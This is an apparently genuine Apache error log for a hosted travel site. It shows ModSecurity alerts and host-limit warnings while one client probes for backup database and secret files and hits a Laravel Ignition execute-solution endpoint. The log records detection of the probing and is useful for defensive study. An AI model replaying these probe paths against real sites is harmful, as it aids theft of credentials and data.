[Fri Jul 17 08:55:20.687199 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.689385 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.691232 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.691568 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.692511 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secret.yml.backup"] [unique_id "almgoLoj0IkvhSCYadmBvwAAAAQ"]
[Fri Jul 17 08:55:20.693160 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secret.yml.backup"] [unique_id "almgoLoj0IkvhSCYadmBvwAAAAQ"]
[Fri Jul 17 08:55:20.693294 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.693424 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBvwAAAAQ"]
[Fri Jul 17 08:55:20.697122 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.698296 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.702720 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/db.sqlite.bak"] [unique_id "almgoO1pLmPpy2r_2CxfYgAAAA8"]
[Fri Jul 17 08:55:20.703217 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".sqlite~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/db.sqlite~"] [unique_id "almgoA7FYe46zHK_jL3P9wAAABk"]
[Fri Jul 17 08:55:20.703295 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/db.sqlite.bak"] [unique_id "almgoO1pLmPpy2r_2CxfYgAAAA8"]
[Fri Jul 17 08:55:20.703433 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.703570 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfYgAAAA8"]
[Fri Jul 17 08:55:20.703700 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/db.sqlite~"] [unique_id "almgoA7FYe46zHK_jL3P9wAAABk"]
[Fri Jul 17 08:55:20.703814 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.703930 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA7FYe46zHK_jL3P9wAAABk"]
[Fri Jul 17 08:55:20.707979 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/db.sqlite.old"] [unique_id "almgoPwooI4qY7Jg93pVcgAAABM"]
[Fri Jul 17 08:55:20.708558 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/db.sqlite.old"] [unique_id "almgoPwooI4qY7Jg93pVcgAAABM"]
[Fri Jul 17 08:55:20.708746 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.708896 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoPwooI4qY7Jg93pVcgAAABM"]
[Fri Jul 17 08:55:20.711217 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.725735 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.733819 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/db.sqlite.swp"] [unique_id "almgoEkXT4NBqALj2lZ8ywAAABA"]
[Fri Jul 17 08:55:20.734374 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/db.sqlite.swp"] [unique_id "almgoEkXT4NBqALj2lZ8ywAAABA"]
[Fri Jul 17 08:55:20.734532 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.734684 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoEkXT4NBqALj2lZ8ywAAABA"]
[Fri Jul 17 08:55:20.737069 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.737713 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/db.sqlite.backup"] [unique_id "almgoCvekYYQ8uns4MwleQAAAA0"]
[Fri Jul 17 08:55:20.738298 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/db.sqlite.backup"] [unique_id "almgoCvekYYQ8uns4MwleQAAAA0"]
[Fri Jul 17 08:55:20.738451 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.738587 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoCvekYYQ8uns4MwleQAAAA0"]
[Fri Jul 17 08:55:20.740034 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.741675 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.742547 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.742951 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.743107 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.sqlite.bak"] [unique_id "almgoA5GPQ6hs4VrfMpBmQAAAAY"]
[Fri Jul 17 08:55:20.743577 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.sqlite.bak"] [unique_id "almgoA5GPQ6hs4VrfMpBmQAAAAY"]
[Fri Jul 17 08:55:20.743706 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.743843 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBmQAAAAY"]
[Fri Jul 17 08:55:20.780094 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.781215 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".sqlite~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.sqlite~"] [unique_id "almgoKquHSHoCJK_V0SBZgAAABs"]
